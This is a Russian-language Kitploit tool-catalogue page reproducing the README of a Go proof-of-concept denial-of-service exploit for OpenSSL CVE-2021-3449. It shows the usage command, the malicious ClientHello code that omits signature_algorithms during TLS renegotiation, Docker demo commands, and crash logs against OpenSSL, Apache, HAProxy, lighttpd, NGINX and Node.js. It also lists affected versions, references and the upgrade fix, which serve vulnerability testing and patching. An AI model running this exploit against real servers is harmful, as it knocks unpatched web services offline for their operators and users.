Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2021-3449 — CVE-2021-3449 эксплойт отказа в обслуживании OpenSSL 👨🏻‍💻 | Kitploit
Инструменты/GitHubGitHub/riptl/cve-2021-3449
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на Проникновение
GitHubriptl/cve-2021-3449

cve-2021-3449

CVE-2021-3449 эксплойт отказа в обслуживании OpenSSL 👨🏻‍💻

Репозиторий
22437125 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-3449 Эксплойт DoS для OpenSSL <1.1.1k

Использование: go run . -host hostname:port

Эта программа реализует proof-of-concept эксплойт уязвимости CVE-2021-3449, затрагивающей серверы OpenSSL до версии 1.1.1k, если принимается защищённая переустановка соединения TLSv1.2.

Она подключается к серверу TLSv1.2 и немедленно инициирует «защищённую переустановку соединения» (RFC 5746). Атака использует вредоносный ClientHello, который заставляет сервер упасть из-за разыменования нулевого указателя (отказ в обслуживании).

Ссылки

  • Уведомление безопасности OpenSSL
  • cve.mitre.org
  • Уведомление безопасности Ubuntu (USN-4891-1)
  • Трекер безопасности Debian
  • Запись CVE в Red Hat

Эта проблема была сообщена в OpenSSL 17 марта 2021 года компанией Nokia. Исправление было разработано Петером Кестле и Самуэлем Сапальски из Nokia.

Меры по смягчению

Единственное известное исправление — обновить libssl1.1.

Даже если некоторые приложения по умолчанию используют жёсткие конфигурации TLS, отключающие переустановку соединения, они всё равно подвержены ошибке, если используется старая версия OpenSSL.

Эксплойт

main.go — это крошечный скрипт, который подключается к TLS-серверу, принудительно выполняет переустановку соединения и отключается.

Код эксплойта был внедрён в встроенную версию пакета encoding/tls Go 1.14.15. Вы можете найти его в handshake_client.go:115. Логика объяснима сама за себя.

root@kitploit:~
// CVE-2021-3449 exploit code.
if hello.vers >= VersionTLS12 {
    if c.handshakes == 0 {
        println("sending initial ClientHello")
        hello.supportedSignatureAlgorithms = supportedSignatureAlgorithms
    } else {
        // OpenSSL pre-1.1.1k runs into a NULL-pointer dereference
        // if the supported_signature_algorithms extension is omitted,
        // but supported_signature_algorithms_cert is present.
        println("sending malicious ClientHello")
        hello.supportedSignatureAlgorithmsCert = supportedSignatureAlgorithms
    }
}

– @terorie

Демонстрация

Каталог demo/ содержит конфигурацию для пропатчивания различных приложений уязвимой версией OpenSSL.

Тестовый стенд:

  • Загрузите и скомпилируйте уязвимую версию OpenSSL 1.1.1j локально
  • Подготовьте целевой контейнер Ubuntu 20.04 и загрузите библиотеки OpenSSL
  • Установите приложение в целевой контейнер
  • Запустите сервер и выполните атаку

Требования:

  • OpenSSL (на хосте)
  • build-essential (Perl, GCC, Make)
  • Docker

Примечание: ни один из перечисленных веб-серверов не уязвим для CVE-2021-3449 с OpenSSL 1.1.1k или новее.

СерверДистрибутивВерсияДемонстрацияРезультат
OpenSSL s_server-1.1.1jmake demo-opensslСбой
Apache2Ubuntu 18.042.4.29make demo-apache2Частичный сбой
HAProxyUbuntu 18.041.8.8make demo-haproxyСбой
HAProxyUbuntu 20.042.0.13make demo-haproxyБез эффекта
lighttpdUbuntu 18.041.4.55make demo-lighttpdСбой
lighttpdUbuntu 20.041.4.55make demo-lighttpdСбой
lighttpdUbuntu 21.041.4.59make demo-lighttpdБез эффекта при опции конфигурации
NGINXUbuntu 18.041.14.0make demo-nginxЧастичный сбой
NGINXUbuntu 20.041.18.0make demo-nginxБез эффекта
Node.js <=12Ubuntu 18.04Без эффекта
Node.js >12Ubuntu 18.04?make demo-nodejsСбой
Node.js >12Ubuntu 18.0415.14.0make demo-nodejsБез эффекта

Чтобы очистить все демонстрационные ресурсы, выполните make clean.

Простой сервер OpenSSL

openssl s_server — минимальная реализация TLS-сервера.

  • make demo-openssl: Полный запуск (порт 4433)
  • make -C demo build-openssl: Сборка целевого Docker-образа
  • make -C demo start-openssl: Запуск цели на порту 4433
  • make -C demo stop-openssl: Остановка цели

Результат: Полный сбой сервера.

Логи

root@kitploit:~
docker run -d -it --name cve-2021-3449-openssl --network host local/cve-2021-3449/openssl
a16c44f98a37b7e0c0777d3bd66456203de129fd23566d2141ef2bec9777be17
docker logs -f cve-2021-3449-openssl &
sleep 2
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Using default temp DH parameters
ACCEPT
sending initial ClientHello
connected
sending malicious ClientHello

[[truncated]]

Program received signal SIGSEGV, Segmentation fault.
0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#0  0x00007f668bd89283 in tls12_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#1  0x00007f668bd893cd in tls1_set_shared_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#2  0x00007f668bd89fe3 in tls1_process_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#3  0x00007f668bd8a110 in tls1_set_server_sigalgs () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#4  0x00007f668bd824a2 in tls_early_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#5  0x00007f668bd84d55 in tls_post_process_client_hello () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#6  0x00007f668bd8522f in ossl_statem_server_post_process_message () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#7  0x00007f668bd710e1 in read_state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#8  0x00007f668bd7199d in state_machine () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#9  0x00007f668bd71c4e in ossl_statem_accept () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#10 0x00007f668bd493ab in ssl3_read_bytes () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#11 0x00007f668bd504ec in ssl3_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#12 0x00007f668bd50595 in ssl3_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#13 0x00007f668bd5ae5c in ssl_read_internal () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#14 0x00007f668bd5af5b in SSL_read () from /usr/lib/x86_64-linux-gnu/libssl.so.1.1
#15 0x000055aa5a10f209 in sv_body ()
#16 0x000055aa5a1302ec in do_server ()
#17 0x000055aa5a114815 in s_server_main ()
#18 0x000055aa5a0f9395 in do_cmd ()
#19 0x000055aa5a0f9ee1 in main ()
malicious handshake failed, exploit might have worked

Apache2 httpd

Веб-сервер Apache2 httpd с конфигурацией по умолчанию уязвим.

  • make demo-apache: Полный запуск (порт 443)
  • make -C demo build-apache: Сборка целевого Docker-образа
  • make -C demo start-apache: Запуск цели на порту 443
  • make -C demo stop-apache: Остановка цели

Благодарим @binarytrails за вклад.

Результат: Частичное нарушение работы, основной процесс остаётся жив, но рабочий процесс аварийно завершается.

Логи

root@kitploit:~
docker run -d -it --name cve-2021-3449-apache2 --network host local/cve-2021-3449/apache2
0bf38dd8ab721f0ae3713448d2a28050b6e7d11fa7e3174b6ec9b1bbcfa124c8
docker logs -f cve-2021-3449-apache2 &

[[truncated]]

sending initial ClientHello
connected
sending malicious ClientHello
[Sat Mar 27 02:54:38.153327 2021] [ssl:info] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH01964: Connection to child 64 established (server localhost:443)
[Sat Mar 27 02:54:38.153619 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
[Sat Mar 27 02:54:38.155697 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2233): [client 127.0.0.1:46846] AH02041: Protocol: TLSv1.2, Cipher: ECDHE-RSA-CHACHA20-POLY1305 (256/256 bits)
[Sat Mar 27 02:54:38.155781 2021] [ssl:error] [pid 21:tid 140433175750400] [client 127.0.0.1:46846] AH02042: rejecting client initiated renegotiation
[Sat Mar 27 02:54:38.155837 2021] [ssl:debug] [pid 21:tid 140433175750400] ssl_engine_kernel.c(2317): [client 127.0.0.1:46846] AH02043: SSL virtual host for servername localhost found
malicious handshake failed, exploit might have worked: EOF
[Sat Mar 27 02:54:39.183129 2021] [core:notice] [pid 19:tid 140433267538880] AH00051: child pid 21 exit signal Segmentation fault (11), possible coredump in /etc/apache2

HAProxy

Версии HAProxy 2.0.13 и выше не подвержены уязвимости.

Версии до как минимум 1.8.8 уязвимы при «промежуточной» конфигурации TLS.

  • make demo-haproxy: Полный запуск (порт 4433)
  • make -C demo build-haproxy: Сборка целевого Docker-образа
  • make -C demo start-haproxy: Запуск цели на порту 4433
  • make -C demo stop-haproxy: Остановка цели

Тесты проводятся в режиме master-worker (флаг -W, по умолчанию в Debian). Удивительно, но основной процесс завершается, если умирает рабочий процесс.

Результат: Полный сбой сервера.

Логи

root@kitploit:~
docker run -d -it --name cve-2021-3449-haproxy --network host local/cve-2021-3449/haproxy
1786bd2fc0ed8d8ffb0388fb223a61c9cabdd095cb9908e35ad4c77e1677cda8
docker logs -f cve-2021-3449-haproxy &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
[ALERT] 086/075305 (1) : Current worker 7 exited with code 139
[ALERT] 086/075305 (1) : exit-on-failure: killing every workers with SIGTERM
[WARNING] 086/075305 (1) : All workers exited. Exiting... (139)

lighttpd

Версии lighttpd 1.4.56 и выше не уязвимы, если в lighttpd.conf настроено ssl.disable-client-renegotiation = "enable".

Веб-сервер lighttpd <= 1.4.55 с «промежуточной» конфигурацией TLS уязвим.

  • make demo-lighttpd: Полный запуск (порт 4433)
  • make -C demo build-lighttpd: Сборка целевого Docker-образа
  • make -C demo start-lighttpd: Запуск цели на порту 4433
  • make -C demo stop-lighttpd: Остановка цели

Результат: Полный сбой сервера.

Логи

root@kitploit:~
docker run -d -it --name cve-2021-3449-lighttpd --network host local/cve-2021-3449/lighttpd
84970c88abb9251e8b92a2fca777c6c23e5e8693dff0ae62c5a363692a859232
docker logs -f cve-2021-3449-lighttpd &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
/bin/bash: line 1:     7 Segmentation fault      lighttpd -D -f /etc/lighttpd/lighttpd.conf

NGINX

Версии NGINX 1.18.0 и выше не уязвимы.

Веб-сервер NGINX 1.14.0 с типовой конфигурацией уязвим. (https://nginxconfig.io)

Версии NGINX >1.15.4 с OpenSSL >=1.1.1 считаются безопасными, поскольку они включают патч SSL_OP_NO_RENEGOTIATION: http://mailman.nginx.org/pipermail/nginx-devel/2018-September/011461.html

  • make demo-nginx: Полный запуск (порт 4433)
  • make -C demo build-nginx: Сборка целевого Docker-образа
  • make -C demo start-nginx: Запуск цели на порту 4433
  • make -C demo stop-nginx: Остановка цели

Результат: Частичное нарушение работы, основной процесс остаётся жив, но рабочий процесс аварийно завершается.

Логи

root@kitploit:~
docker run -d -it --name cve-2021-3449-nginx --network host local/cve-2021-3449/nginx
ccba15530df5ba3d74a584a8c62d4e88deb33203fc5dee6c3c3387b132861f70
docker logs -f cve-2021-3449-nginx &
sending initial ClientHello
connected
sending malicious ClientHello
malicious handshake failed, exploit might have worked: EOF
2021/03/27 03:24:40 [alert] 7#7: worker process 8 exited on signal 11 (core dumped)

Node.js

https.createServer() в Node.js уязвим.

  • make demo-nodejs: Полный запуск (порт 4433)
  • make -C demo build-nodejs: Сборка целевого Docker-образа
  • make -C demo start-nodejs: Запуск цели на порту 4433
  • make -C demo stop-nodejs: Остановка цели

Результат: Полный сбой сервера.

Логи

root@kitploit:~
server started
sending initial ClientHello
connected
sending malicious ClientHello

Thread 1 "node" received signal SIGSEGV, Segmentation fault.
0x000000000160714e in tls1_process_sigalgs ()
#0  0x000000000160714e in tls1_process_sigalgs ()
#1  0x00000000016074b3 in tls1_set_server_sigalgs ()
#2  0x00000000016007dd in tls_post_process_client_hello ()
#3  0x00000000015ef692 in state_machine.part ()
#4  0x00000000015c1a6d in ssl3_read_bytes ()
#5  0x00000000015ca2c7 in ssl3_read ()
#6  0x00000000015d6491 in SSL_read ()
#7  0x0000000000c35332 in node::crypto::TLSWrap::ClearOut() ()
#8  0x0000000000c35f10 in node::crypto::TLSWrap::OnStreamRead(long, uv_buf_t const&) ()
#9  0x0000000000b6cad8 in node::LibuvStreamWrap::OnUvRead(long, uv_buf_t const*) ()
#10 0x00000000014842d7 in uv__read (stream=stream@entry=0x5df10f0) at ../deps/uv/src/unix/stream.c:1239
#11 0x0000000001484c90 in uv__stream_io (loop=<optimized out>, w=0x5df1178, events=1) at ../deps/uv/src/unix/stream.c:1306
#12 0x000000000148b775 in uv.io_poll () at ../deps/uv/src/unix/linux-core.c:462
#13 0x0000000001479318 in uv_run (loop=0x45a1020 <default_loop_struct>, mode=UV_RUN_DEFAULT) at ../deps/uv/src/unix/core.c:385
#14 0x00000000009d2025 in node::SpinEventLoop(node::Environment*) ()
#15 0x0000000000ac8b90 in node::NodeMainInstance::Run(node::EnvSerializeInfo const*) ()
#16 0x0000000000a4f73a in node::Start(int, char**) ()
#17 0x00007efe747dcbf7 in __libc_start_main (main=0x9cbbd0 <main>, argc=2, argv=0x7fff42035238, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff42035228) at ../csu/libc-start.c:310
#18 0x00000000009ce26c in _start ()
malicious handshake failed, exploit might have worked: EOF

Авторские права

Этот репозиторий включает пакет encoding/tls языка программирования Go.

root@kitploit:~
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
Скачать инструмент